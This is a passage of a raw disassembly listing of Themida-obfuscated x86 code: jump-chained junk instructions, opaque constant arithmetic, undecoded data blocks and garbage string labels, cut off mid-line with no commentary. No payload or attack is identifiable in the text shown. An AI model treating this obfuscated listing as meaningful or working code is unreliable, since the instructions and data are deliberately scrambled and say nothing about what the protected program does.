0A3E99C24h, 66FFFFC2h dd 5624048Bh, 0B951E689h, 4F600346h, 1465E981h, 81491CDAh dd 222B7E1h, 9CE98153h, 1120022h, 525559CEh, 4FA6E9h, 0E9D2F700h dd 495Ch, 34FFF701h, 0C948E924h, 5B54FFFFh, 0A8BB5356h dd 8172401Ch, 8D61F3C3h, 0C1D3F720h, 0F38107EBh, 55DF5E7Dh dd 59ECEB81h, 5CE94896h, 81FFFFDBh, 4C5h, 2C58300h, 8904EC83h dd 74FF242Ch, 8F5D0424h, 0E95C2404h, 3E34h, 56DFF766h dd 79EDE9h, 24048900h, 0EA80D6B0h, 0EF84E9BDh, 79B6FFFFh dd 5166CEFEh, 0FFD2CBE9h, 5BDD29FFh, 0B85DEF01h, 48D761CAh dd 3C8BF831h, 0E0895024h, 405h, 4C08300h, 5C240487h, 524AE9h dd 2E1C100h, 4FE8E981h, 0F1E97AB4h, 68000029h, 74F277DBh dd 0E002E95Eh, 34FFFFFFh db 24h, 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54C1CD ; --------------------------------------------------------------------------- dd 9D1C77FFh, 4185866h, 0A7E99C24h, 81FFFFC1h, 4ECh, 24148900h dd 4D9EE9h, 4C78100h, 83000000h, 3C8704C7h, 66045C24h dd 662CF828h, 138FE9h db 0 ; --------------------------------------------------------------------------- loc_54A089: ; CODE XREF: Themida_:005489BCj mov [esp], ebp add dword ptr [esp], 17C95629h push dword ptr [esp] pop eax jmp loc_550E1A ; --------------------------------------------------------------------------- dd 2D28B2BEh, 0D53FE90Fh, 0E281FFFFh, 4B2C20E7h, 5F5AE281h dd 3FE96245h db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A0B7: ; CODE XREF: Themida_:0054C105j mov edx, 597E6779h push edx jmp loc_54B979 ; --------------------------------------------------------------------------- dw 0CD01h dd offset dword_50CC48+6A1h dd 15E95900h, 0BBFFFFFFh, 36244D7Dh, 5F5BDE01h, 8725E9h dd 68565500h, 4EE53349h db 8Bh, 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54989B ; --------------------------------------------------------------------------- aSw db ']éw',0Ah,0 db 0 ; --------------------------------------------------------------------------- loc_54A0FB: ; CODE XREF: Themida_:0054E744j mov [esp], ebx push ebp mov ebp, 3F16B35h mov ebx, 82C1AB6Bh sub ebx, ebp pop ebp sub [esp+8], ebx pop ebx pop ecx push dword ptr [esp] pop eax push ebx push esp pop ebx add ebx, 4 push eax mov eax, 26083A40h inc eax xor eax, 26083A45h add ebx, eax pop eax jmp loc_547C1F ; --------------------------------------------------------------------------- db 8Bh dd 0C481241Ch, 4, 4C381h, 0B8500000h, 4, 3651E9h, 243C8700h dd 6624248Bh, 5024048Bh, 25BFE9h db 0 ; --------------------------------------------------------------------------- loc_54A15D: ; CODE XREF: Themida_:00552754j xor [esp], ebp xor ebp, [esp] pop esp jmp loc_548240 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0CAFE03B2h, 70DBE9h db 0 ; --------------------------------------------------------------------------- loc_54A175: ; CODE XREF: Themida_:0054E89Fj ; Themida_:005525EBj push ebp mov ebp, esp push edi push 7E57h mov [esp], ecx mov ecx, 15AB360Dh mov edi, 54A9597Dh sub edi, ecx pop ecx push ebx mov ebx, 387F0861h xor edi, ebx pop ebx and edi, 479A6A78h xor edi, 6BC6099Eh sub edi, 1D246594h dec edi xor edi, 5021BDFDh add ebp, 9E11D38h add ebp, edi sub ebp, 9E11D38h pop edi push edi mov edi, 4 jmp loc_5516D1 ; --------------------------------------------------------------------------- loc_54A1CA: ; CODE XREF: Themida_:0054893Dj push esp pop edx push edi mov edi, 4 sub edx, 56F3D28h add edx, 518E0384h add edx, edi jmp loc_54D8EC ; --------------------------------------------------------------------------- loc_54A1E5: ; CODE XREF: Themida_:0054A83Cj mov eax, 577753C1h push ebp mov ebp, 5B46084Ch or ebp, 5F7957C2h or ebp, 4C4A61C4h sub ebp, 89C3E76h jmp loc_54712D ; --------------------------------------------------------------------------- db 50h dd 404AB568h, 24048B29h, 4C481h, 65350000h, 0F73C115Ah dd 0B95148D8h, 0BB599CF0h, 0E959C831h, 26F2h, 4C481h, 0C4E90000h dd 5FFFFC0h, 4, 8B240487h, 48F2424h, 3CD25C24h, 0BBE99C24h db 0BFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A24F: ; CODE XREF: Themida_:005517EAj or ebx, edi jmp loc_54D935 ; --------------------------------------------------------------------------- dw 0D3B9h dd 0F72D5727h, 0BA52D1h, 0E9000000h, 7DEBh, 4C781h, 3C870000h dd 54E95C24h, 0FFFFFFC2h, 669D1C77h, 2414D259h, 0BF84E99Ch dd 3C8BFFFFh, 47E95324h db 7Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A28F: ; CODE XREF: Themida_:00546F51j pop ebp push edx mov edx, esp jmp loc_54EC58 ; --------------------------------------------------------------------------- loc_54A298: ; CODE XREF: Themida_:005513BDj pop ebp push ebp mov ebp, 7E1E5817h add ebp, 0F93123Dh inc ebp shr ebp, 7 jmp loc_54E2C9 ; --------------------------------------------------------------------------- loc_54A2AE: ; CODE XREF: Themida_:0054A949j mov esi, 0B1969CCh push edi mov edi, esi mov edx, edi pop edi pop esi sub ebp, edx pop edx sub ebp, 6E753369h xor ebx, ebp mov ebp, [esp] push edx mov edx, esp add edx, 4 add edx, 4 jmp loc_54E749 ; --------------------------------------------------------------------------- db 0B8h, 75h, 6Fh dd 540312Fh, 4A1C9ACCh, 0F758C601h, 0C6C681D6h, 0B8EAFBA5h dd 4E6869FDh, 93E9F031h, 5500004Ch, 4BDh, 5DE92900h, 109E9h dd 0C875F00h, 24248B24h, 243CD366h, 0BEF0E99Ch, 8B66FFFFh dd 0F0E9240Ch db 57h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A323: ; CODE XREF: Themida_:00547841j add edi, 720D3CFAh jmp loc_551A17 ; --------------------------------------------------------------------------- dw 0EA01h dd 4E5BEA81h, 2C8B01A3h, 4C48324h, 8904EC83h, 4BE2434h dd 0E9000000h, 0FFFFC95Ah, 0E924248Bh, 56BAh ; --------------------------------------------------------------------------- loc_54A354: ; CODE XREF: Themida_:00552197j sub esp, 4 mov [esp], ebp push esi jmp loc_552621 ; --------------------------------------------------------------------------- db 81h dd 0FFFFFFEEh, 6AF681FFh, 816A4A2Fh, 9FD0AFC6h, 5EF70181h dd 4B850h, 0C7010000h, 243C3358h, 33243C31h, 248B243Ch dd 0BE78E924h, 0BF57FFFFh, 4, 2827E9h, 4EC8100h, 0E9000000h dd 121Bh, 46B35351h, 0F60CF380h, 0BC380D3h, 0EB6FE952h dd 5066FFFFh, 0C328F1B0h, 24048B66h, 0F02C483h, 8F66C0B6h dd 37E98704h, 50FFFFBEh, 0BE30E99Ch, 2BE9FFFFh db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A3DF: ; CODE XREF: Themida_:0054FEE2j add ebx, ebp pop ebp add ebx, 4 xchg ebx, [esp] jmp loc_548C2B ; --------------------------------------------------------------------------- loc_54A3F0: ; CODE XREF: Themida_:0054EC9Cj add ebp, 4 jmp loc_54BF8A ; --------------------------------------------------------------------------- db 89h dd 0FFBF243Ch, 89225D01h, 0DF015FFBh, 3E7C15Bh, 233EE956h dd 0C870000h, 14895C24h, 9E95424h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A41F: ; CODE XREF: Themida_:0054995Cj add ecx, ebx pop ebx jmp loc_54776C ; --------------------------------------------------------------------------- loc_54A427: ; CODE XREF: Themida_:0054C74Bj mov edx, [esp] add esp, 4 jmp loc_54E075 ; --------------------------------------------------------------------------- aBiYsv db '±BˆÊYéV%',0 align 4 loc_54A43C: ; CODE XREF: Themida_:00551980j add edx, 17871FAFh push ebx jmp loc_55276B ; --------------------------------------------------------------------------- loc_54A448: ; CODE XREF: Themida_:0054CFD2j neg dword ptr [esp] jmp loc_5516FD ; --------------------------------------------------------------------------- dd 6312BD55h, 0E5C104A2h, 0EDBF5704h, 91DE64Fh, 0C5815FFDh dd 6F322A39h, 4968454Dh, 0E9000074h, 6CD9h, 0F5B6E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A47A: ; CODE XREF: Themida_:00549C62j pop ebp jmp loc_54A5AE ; --------------------------------------------------------------------------- dd 57241489h, 0FD0BA0BFh, 0CB56E93Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A48E: ; CODE XREF: Themida_:0054F6A7j add esp, 4 sub bl, 0B6h sub bl, al push edx mov dh, 0C7h shl dh, 3 jmp loc_55147A ; --------------------------------------------------------------------------- db 5Dh, 8Bh, 4 dd 4C48324h, 31241433h, 14332414h, 24248B24h, 5C95E9h dd 243C3100h, 8B243C33h, 0FE92424h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A4C7: ; CODE XREF: Themida_:005494BBj push ecx mov ecx, 4 add ebx, ecx mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], esi mov esi, 4 add ebx, esi mov esi, [esp] add esp, 4 xchg ebx, [esp] jmp loc_546E19 ; --------------------------------------------------------------------------- loc_54A4F6: ; CODE XREF: Themida_:005497ADj sub bl, 72h add bl, dl add bl, 72h sub bl, 0CAh jmp loc_550621 ; --------------------------------------------------------------------------- aIxsu db '‰åéî{',0 db 0 ; --------------------------------------------------------------------------- loc_54A50D: ; CODE XREF: Themida_:005512A2j add ebx, 1290329Ch add ebx, eax jmp loc_54FD29 ; --------------------------------------------------------------------------- loc_54A51A: ; CODE XREF: Themida_:0054E80Aj sub edi, eax pop eax jmp loc_54C3EF ; --------------------------------------------------------------------------- loc_54A522: ; CODE XREF: Themida_:0054E409j pop ecx and eax, ecx push dword ptr [esp] jmp loc_54F06E ; --------------------------------------------------------------------------- loc_54A52D: ; CODE XREF: Themida_:0054EB26j xor edi, [esp] pop esp mov [esp], edi mov edi, 55847B86h push ebp mov ebp, 238550ADh shl ebp, 3 jmp loc_547B52 ; --------------------------------------------------------------------------- db 1 aS_6 db 'ÓéÒ-',0 align 2 dw 568h dd 0E900007Dh, 0FFFFC232h, 5C241C87h, 426268h, 24148900h dd 0DB08E953h, 8B66FFFFh, 30682404h, 89000024h, 0D8E9240Ch db 76h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A57B: ; CODE XREF: Themida_:005500AFj sub dword ptr [esp], 13C60DFAh jmp loc_548B0A ; --------------------------------------------------------------------------- loc_54A587: ; CODE XREF: Themida_:0054E820j xor ecx, 2878420Dh push edi mov edi, ecx mov esi, edi pop edi jmp loc_54E26E ; --------------------------------------------------------------------------- dd 52F26858h, 0C4E90000h, 81FFFFC2h, 1C52C7C9h, 0C3BFE91Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A5AE: ; CODE XREF: Themida_:0054A47Bj xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp jmp loc_54EFBE ; --------------------------------------------------------------------------- aPUiSqw db 'P°uˆÅéïW',0 dw 0BB00h dd 47EC09E1h, 0FFEB9FE9h db 0FFh ; --------------------------------------------------------------------------- loc_54A5D1: ; CODE XREF: Themida_:005465D7j mov ch, 25h add bh, ch pop cx sub bh, 1Fh mov ah, bh pop ebx add cl, 34h sub cl, ah sub cl, 34h mov eax, [esp] add esp, 4 jmp loc_55128A ; --------------------------------------------------------------------------- dd 0E904C483h, 42E0h, 8359C829h, 48904ECh, 0C46E924h, 0F5810000h dd 74536350h, 7054F581h, 814D0B64h, 2E37FEDh, 8BEA017Bh dd 49E9242Ch db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A623: ; CODE XREF: Themida_:0054C573j add edi, 4 push edi jmp loc_54D6C7 ; --------------------------------------------------------------------------- db 1 dd 0F0015BDEh, 8124348Bh, 4C4h, 177DE900h, 0F7010000h dd 2282EF81h, 0EF8173E8h, 62FD5470h, 243C335Eh, 0E9243C31h dd 0FFFFD8B7h, 19040B2Ch, 81E28952h, 4C2h, 4BD5500h, 0E9000000h dd 0C91h ; --------------------------------------------------------------------------- loc_54A674: ; CODE XREF: Themida_:0054D349j xor [esp], eax xor eax, [esp] mov esp, [esp] add dword ptr [esp], 15E461DDh sub dword ptr [esp], 76D35F8Dh jmp loc_551E53 ; --------------------------------------------------------------------------- dd 8324348Bh, 685204C4h, 55B2h, 83242489h, 5A042404h, 0FFCEA2E9h dd 0CBE980FFh, 42E9CE28h, 29FFFFD4h, 36FAE9DFh, 0B8500000h dd 0 dd 9560D32Dh, 50D80169h, 0A3E9E089h, 89000003h, 0E3C158C3h dd 3FEB8108h, 2D8DB7D0h, 6AB22136h, 3FE9D801h, 68000057h dd 195A1423h, 2CCB815Bh, 0E9310812h, 2495h, 1C8B2C04h dd 0E8BDE924h, 6ABBFFFFh, 0F7648A59h, 0C38143DBh, 648A596Dh dd 86E9DE01h, 5E000055h, 94C5C781h, 0FB018800h, 0FFD0D2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A725: ; CODE XREF: Themida_:00547E0Ej pop ecx neg edi xor edi, 4DA4245Dh sub eax, 0B6F6E94h sub eax, edi add eax, 0B6F6E94h pop edi push 1FA1h mov [esp], ebx push esp pop ebx jmp loc_54868E ; --------------------------------------------------------------------------- dw 8B66h dd 8BE92404h, 66000033h, 66536647h, 661149BBh, 5B66DF01h dd 5FFA8966h, 66DAF766h, 6657DAF7h, 661B93BFh, 51CFCF81h dd 0EDE78166h, 6647667Ch, 5A8EF81h, 646DE9h, 4C48100h dd 0C0000000h, 0EDC006E5h, 0BCC58007h, 1686E9h, 4EC8300h dd 0E9240489h, 7E91h ; --------------------------------------------------------------------------- loc_54A7A4: ; CODE XREF: Themida_:005484CEj and eax, ebp push dword ptr [esp] mov ebp, [esp] jmp loc_546925 ; --------------------------------------------------------------------------- db 0E9h, 54h, 0BAh dd 0D830FFFFh, 5115045Bh, 0FFFDFCE9h, 2CF781FFh, 531C521Dh dd 0FD85BA52h, 0D389F671h, 0B6B8505Ah, 0E90A4B6Ch, 4537h dd 207F83ADh, 8C840F00h, 81FFFFCDh, 8B5942C6h, 81C6812Bh dd 8159A632h, 1620C8EEh, 81C60159h, 1620C8C6h, 4EC8159h dd 89000000h, 8FBA2414h, 0E930D664h, 676Ch, 7D29CE81h dd 0C6811B2Fh, 10A5F094h, 348BF229h, 4C48324h, 0BF57C201h dd 2AC11E86h, 51B9C781h, 0D6E90114h db 48h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A83B: ; CODE XREF: Themida_:0054FB7Dj push eax jmp loc_54A1E5 ; --------------------------------------------------------------------------- db 4Dh, 81h, 0C5h dd 0F61EF8D9h, 4246C81h, 45504ED0h, 4246C01h, 4244481h dd 45504ED0h, 0FFF894E9h, 55854FFh, 4, 0FFC59EE9h, 241C8BFFh db 83h, 0C4h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54D759 ; --------------------------------------------------------------------------- db 0BEh, 75h, 44h dd 0D6F74186h, 222ACE81h, 81464B32h, 41956E6h, 0EE814648h dd 480018FFh, 7111DC05h, 2DF00108h, 87111DCh, 0E924348Bh dd 0FFFFFD40h ; --------------------------------------------------------------------------- loc_54A8B0: ; CODE XREF: Themida_:0055225Aj pop eax push edx push esi mov esi, 4B0D49DFh push ebx jmp loc_546F56 ; --------------------------------------------------------------------------- aRsx7 db 'RéX7',0 align 4 dd 81BA6652h, 0EAC16611h, 0EA816606h, 81660001h, 662F4BEAh dd 2F08C281h, 0FFC3E3E9h, 1CF766FFh, 1FE99C24h, 0BAFFFFB9h dd 4, 15AD089h, 7A4E9C3h, 18B00000h, 81E18951h, 4C1h, 4E98300h dd 5C240C87h, 0E9241489h, 3B64h ; --------------------------------------------------------------------------- loc_54A914: ; CODE XREF: Themida_:0054DED7j add esp, 4 jmp loc_54E68B ; --------------------------------------------------------------------------- dd 4C681h, 0EEE90000h, 41000057h, 7DFDC181h, 0E1812E24h dd 34E362BDh, 4C34F181h, 0E0E97666h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A93F: ; CODE XREF: Themida_:00546C25j sub esp, 4 mov [esp], edx push esi jmp loc_54A2AE ; --------------------------------------------------------------------------- dw 0B951h dd 458B0C43h, 5559C809h, 8E2D12BDh, 0D1D5F729h, 74A6E9EDh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A966: ; CODE XREF: Themida_:005491D0j mov [esp], eax push ecx mov cl, 0B1h mov al, cl jmp loc_55061B ; --------------------------------------------------------------------------- db 66h dd 5324048Bh, 241C8B54h, 8104C483h, 4C3h, 32E56800h, 34890000h dd 0E1B95124h, 51704A65h, 874BD1B9h, 2E1C145h, 4102E9C1h dd 0B1B1E981h, 0CE8975D1h, 6594E9h, 24048100h, 513003C6h dd 0A242C81h, 0E951D10Fh, 0FFFFB84Ah, 0C381E389h, 4, 8704C383h dd 815C241Ch, 4C4h, 6172E900h, 0C7810000h, 4, 1694E9h db 0 ; --------------------------------------------------------------------------- loc_54A9E5: ; CODE XREF: Themida_:0054F8E7j mov esp, [esp] jmp loc_5506BD ; --------------------------------------------------------------------------- db 68h, 0DBh, 13h dd 1C890000h, 81E38924h, 4C3h, 2039E900h, 5D540000h, 4C581h dd 0C5810000h, 4, 0E9242C87h, 3D9Ah, 1B34D968h, 0E7C15F10h dd 1CA3E906h, 0EB280000h, 57C30059h, 57FBE9h, 6E3C100h dd 0E0F3814Bh, 0D166310Ah, 6BF381EBh, 15B1714h, 0EC815BDEh dd 4, 51240489h, 2B9h, 2C815100h, 0C057B024h, 0B0055843h dd 5943C057h, 8758C601h, 248B2434h, 5899E924h, 4050000h dd 83000000h, 48704E8h, 34895C24h, 22BA5224h, 0BE766E49h dd 0F32717B1h, 0FFE0D5E9h db 0FFh ; --------------------------------------------------------------------------- loc_54AA91: ; CODE XREF: Themida_:0054AE92j xchg ebx, [esp] mov esp, [esp] mov [esp], ecx push ebx push eax push ecx mov ch, dl mov al, ch mov ecx, [esp] add esp, 4 mov bl, al pop eax mov cl, bl pop ebx push 640Fh jmp loc_547B0F ; --------------------------------------------------------------------------- dw 4C88h dd 0C8B0187h, 4C48324h, 0FFB741E9h, 59F781FFh, 892AC169h dd 0F3295FFEh, 4EC815Eh, 89000000h, 0B6E9241Ch db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54AAE3: ; CODE XREF: Themida_:0054C346j mov ebx, 63415FE7h shr ebx, 3 jmp loc_54AFD7 ; --------------------------------------------------------------------------- dd 13E99C50h, 81FFFFB7h, 6FF65DC6h, 0E9E6D1A6h, 2338h dd 0E95EF529h, 4E89h, 0BFC0E958h, 0BE56FFFFh, 5382527Fh dd 618EEB9h, 5EF13109h, 6C1BF181h, 0E9811B9Dh, 28DE3830h dd 0FFEA3DE9h, 0C2815CFFh, 35530EDh, 0B1E9C201h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54AB3F: ; CODE XREF: Themida_:0054D11Bj inc edi shr edi, 2 not edi push ecx jmp loc_5516A3 ; --------------------------------------------------------------------------- loc_54AB4B: ; CODE XREF: Themida_:0054CABDj inc dl push cx mov cl, 0DDh jmp loc_551FE2 ; --------------------------------------------------------------------------- dw 1489h dd 80EDB624h, 842C0CEEh, 8404F000h, 0B151535Ah, 22B79Ah dd 0BF27E9CFh, 93E9FFFFh, 81FFFFB6h, 0AD4995C6h, 8BF031F6h dd 0C4812434h, 4, 5DE9C589h, 58000060h, 500F2105h, 44015F52h dd 9DE90424h db 0B8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AB9F: ; CODE XREF: Themida_:0054F42Dj push esp pop ebx add ebx, 4 push eax mov eax, 5DB7189Fh not eax sub eax, 0A248E75Ch jmp loc_54B7AA ; --------------------------------------------------------------------------- loc_54ABB9: ; CODE XREF: Themida_:005473C9j add ebp, 4 jmp loc_54CD79 ; --------------------------------------------------------------------------- dd 27DF68h, 263AE900h, 1590000h, 5B4605D8h, 0BD5501AEh dd 59711D6Ch, 0F2711805h, 18B7E972h, 0FEB80000h, 21000000h dd 34FF1C47h, 2434FF24h, 3EE95158h, 81FFFFC7h, 42404h dd 48F0000h, 0DC70E924h, 0D2F7FFFFh, 8104EAC1h, 0C53467E2h dd 0DC28127h, 0E9146203h, 4B84h ; --------------------------------------------------------------------------- loc_54AC20: ; CODE XREF: Themida_:005489F6j push esi mov esi, 1C82739Ah mov ecx, 55E1646Bh jmp loc_54FCFD ; --------------------------------------------------------------------------- dd 27E9EE01h, 59000012h, 0BAE9DE89h, 5300004Dh, 8904EC83h dd 0D8682434h, 5E75806Bh, 5E82EE81h, 0DEF74059h, 1435C681h dd 0EE8147BFh, 129806DDh, 1487E9h, 0F4E95800h, 5F00000Dh dd 2CE7E9h, 48B6600h, 5B716824h, 0F3E90000h, 0F7FFFFB8h dd 88E94ED6h db 47h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54AC87: ; CODE XREF: Themida_:0054CBB5j mov ecx, [esp] add esp, 4 jmp loc_54B337 ; --------------------------------------------------------------------------- db 30h, 0C3h, 0Fh aHna db '¶ÀhNa',0 dw 8900h dd 0EC83242Ch, 24248904h, 4240481h, 5D000000h, 5058B850h dd 0B95153DDh, 31F355F1h, 4DA0E9h db 0 ; --------------------------------------------------------------------------- loc_54ACC1: ; CODE XREF: Themida_:0054E57Aj pop esp or edx, eax jmp loc_54CCB3 ; --------------------------------------------------------------------------- db 0C0h, 0EDh, 6 dd 309FF580h, 0E78059EFh, 0E9CFFE40h, 67BFh, 4C281h, 0C2830000h dd 4F53E904h, 0C3810000h, 4, 4EC81h, 1C890000h, 2474FF24h dd 241C8B04h, 4C481h, 0CAE90000h, 8100004Dh, 4C4h, 7B14E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AD16: ; CODE XREF: Themida_:0054EC07j add eax, ebp pop ebp add eax, 4 xchg eax, [esp] jmp loc_54D478 ; --------------------------------------------------------------------------- dd 5B46B951h, 0F1815A67h, 78E50158h, 80E9C801h db 0B7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AD37: ; CODE XREF: Themida_:0054876Cj push ebx mov ebx, 25BA559Bh push esi mov esi, 458950C9h xor ebx, esi jmp loc_54917A ; --------------------------------------------------------------------------- dw 0EE80h dd 28280424h, 8B282CF0h, 3FE92414h, 2C000027h, 0C658E94Eh dd 2CACFFFFh, 66D828A5h, 663AC168h, 0B3241C89h, 66D800A5h dd 68241C8Bh, 6D01h, 0E9243C89h, 0FFFFD216h, 4C4815Ch dd 0D3000000h, 77E92424h, 89FFFFB4h, 242C8BEEh, 104C483h dd 24348BF7h, 4C481h, 3C330000h, 243C3124h, 0FFBC35E9h dd 4BBFFh, 0D9890000h, 0BDA5E95Bh, 8B66FFFFh, 0B0E9240Ch dd 0FF000042h, 48B2434h, 4C48124h, 51000000h, 1021E9h dd 4EC8100h, 0E9000000h, 6A3Eh ; --------------------------------------------------------------------------- loc_54ADE4: ; CODE XREF: Themida_:0054B036j pop esp sub ebx, 612D7A99h add ebx, 0AF66089h jmp loc_54C77F ; --------------------------------------------------------------------------- dw 1489h dd 2B026824h, 4890000h, 242C8124h, 7D3D68EEh, 5A2434FFh dd 83E78957h, 48904ECh, 4B824h, 0C7810000h, 8BA4017h, 0EF81C701h dd 8BA4017h, 0A3E95058h, 0FF00006Dh, 5D042474h, 0E924048Fh dd 0FFFFD3B2h, 9EF9055Bh, 79E913B2h db 0E6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AE47: ; CODE XREF: Themida_:005485F6j mov edx, 4A2934A7h sub edx, 0FF3C3242h sub ebp, edx jmp loc_54ECB2 ; --------------------------------------------------------------------------- db 81h, 0C5h, 0FFh dd 55F81BFFh, 0AB243481h, 8F6AAF0Ah, 68532447h, 41C1h dd 0E9241489h, 3167h, 0B60F6664h, 0E9545102h, 0FFFFDB8Ah ; --------------------------------------------------------------------------- loc_54AE84: ; CODE XREF: Themida_:005486CBj mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_54AA91 ; --------------------------------------------------------------------------- db 0FFh dd 565F2434h, 0C681E689h, 4, 4EE81h, 34870000h, 1C895C24h dd 3ADBE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AEB6: ; CODE XREF: Themida_:0054C76Cj mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push edi push ebp push ebx mov ebx, 31C13808h xor ebx, 7B811E44h sub ebx, 4A3FE64Ch mov ebp, ebx jmp loc_552196 ; --------------------------------------------------------------------------- loc_54AEEB: ; CODE XREF: Themida_:005506D9j mov ebx, 0A2A8A8E4h sub ebx, edx mov edx, [esp] add esp, 4 add esi, ebx jmp loc_55258C ; --------------------------------------------------------------------------- dw 0BA52h dd 4FE65105h, 0DAF7DAF7h, 0D64CA81h, 0C9E9419Fh, 100001Eh dd 1BF4E9C1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AF1E: ; CODE XREF: Themida_:0054CBA9j push dword ptr [esp] jmp loc_548D6C ; --------------------------------------------------------------------------- dw 0EF68h dd 8900003Fh, 4BA2414h, 2D000000h, 5E297007h, 3314E9h dd 81D2F700h, 90346FC2h, 1BA3E9FEh, 0E95D0000h, 0FFFFBED5h dd 32B3C781h, 0F7595118h, 1DF781D7h, 81D32BC7h, 0B936D1EBh dd 0E9FB296Dh, 1A9Ch, 24048B66h, 0E0895050h, 7046E9h, 0E9C14900h dd 7DF18108h, 89005D7Eh, 0C60159C8h, 8124048Bh, 4C4h, 4C68100h dd 56000000h, 4E02E9h, 7C606800h, 4890000h db 24h, 89h, 0E0h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_54E80F ; --------------------------------------------------------------------------- db 1 dd 232D5BD8h, 5E184522h, 8B240487h, 3E92424h, 54FFFFD2h dd 4FE9515Bh db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54AFD7: ; CODE XREF: Themida_:0054AAEBj sub ebx, 7E7A4BFBh push esi mov esi, 16F90ADAh neg esi xor esi, 3F8A20AAh sub esi, 19FE55E6h jmp loc_54DB3F ; --------------------------------------------------------------------------- dw 0D601h dd 487DB951h, 0E9D10AA5h, 677BE981h, 0CE018867h, 827E9h dd 4C48300h, 81E68956h, 4C6h, 4FCAE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B01E: ; CODE XREF: Themida_:0054D697j sub edi, 759618E1h add edi, eax add edi, 759618E1h pop eax push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_54ADE4 ; --------------------------------------------------------------------------- db 83h dd 0C38104C4h, 1BA87ED6h, 0A5E9D301h db 0B7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B04B: ; CODE XREF: Themida_:0054C374j xchg eax, ecx xor ecx, 730469ECh jmp loc_547E0C ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 62B95104h, 926E404h, 0F58159CDh, 67FE0466h dd 0A1E9EF01h, 0B0FFFFC1h, 0E9DD34C2h, 2CD8h ; --------------------------------------------------------------------------- loc_54B07C: ; CODE XREF: Themida_:0054B50Dj sub eax, 76C9268Ch mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], ebp jmp loc_55240E ; --------------------------------------------------------------------------- dw 8758h dd 248B241Ch, 21E56824h, 0DE90000h, 68FFFFBCh, 3D0C2DF4h dd 4AF5815Dh, 51133A02h, 120AF0B9h, 90C18172h, 0D171E32Eh dd 81D1F7E1h, 5E15ABE9h, 0C5E9813Ah, 1EBBF5Eh, 0C6A6E9CDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B0DE: ; CODE XREF: Themida_:0054CD07j mov dh, ah pop eax jmp loc_54D26C ; --------------------------------------------------------------------------- dw 0EA29h dd 3D16EA81h, 2C8B45D4h, 402B6824h, 34890000h, 0E9E68924h dd 176Eh, 3E6801B8h, 8BC83147h, 0C481240Ch, 4, 52E8E9h db 0 ; --------------------------------------------------------------------------- loc_54B115: ; CODE XREF: Themida_:0054C3F1j pop edi shr ebp, 4 jmp loc_55260D ; --------------------------------------------------------------------------- dw 3C89h dd 42FBF24h, 6E90C8Bh, 66FFFFE1h, 68240C8Bh, 1ABEh, 89240C89h dd 32BE56E1h, 8141AB44h, 0AB442EEEh, 5EF10141h, 19BA5257h dd 0C1453A6Ch, 0D2F707EAh, 0BCBB5342h, 0E900E556h, 6F94h dd 0BCEB815Fh, 899487B5h, 0C5815BDAh, 0E851E27h, 0ED81D501h dd 0E851E27h, 6E0F685Ah, 2C890000h, 0FCA9E924h, 8B66FFFFh dd 19682414h, 89000039h, 0E389241Ch, 4BF57h, 0FB010000h dd 4EC815Fh, 89000000h, 9D682404h, 5813BB49h, 0CFF5048h dd 35485824h, 322C3853h, 0D7E9D8F7h, 66000059h, 66240C89h dd 66C8B60Fh, 3BE99C51h, 54FFFFB0h, 5724148Bh, 0C781E789h dd 4, 8704C783h, 815C243Ch, 4C2h, 2B85000h, 81000000h dd 0FE7BB2EAh, 55C20163h, 115A94BDh, 0DBC58167h, 813E3135h dd 6C60ABC5h, 6E5C16Fh, 6686E9h, 0CEE95A00h db 56h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B217: ; CODE XREF: Themida_:0054CC81j mov eax, [esp] add esp, 4 push dword ptr [esp] pop ebp jmp loc_550462 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 59545158h, 6F8168h, 241C8900h, 0E40B08BBh dd 0F3814B26h, 65C53706h, 0E9D3F74Bh, 0B46h, 7AE95854h dd 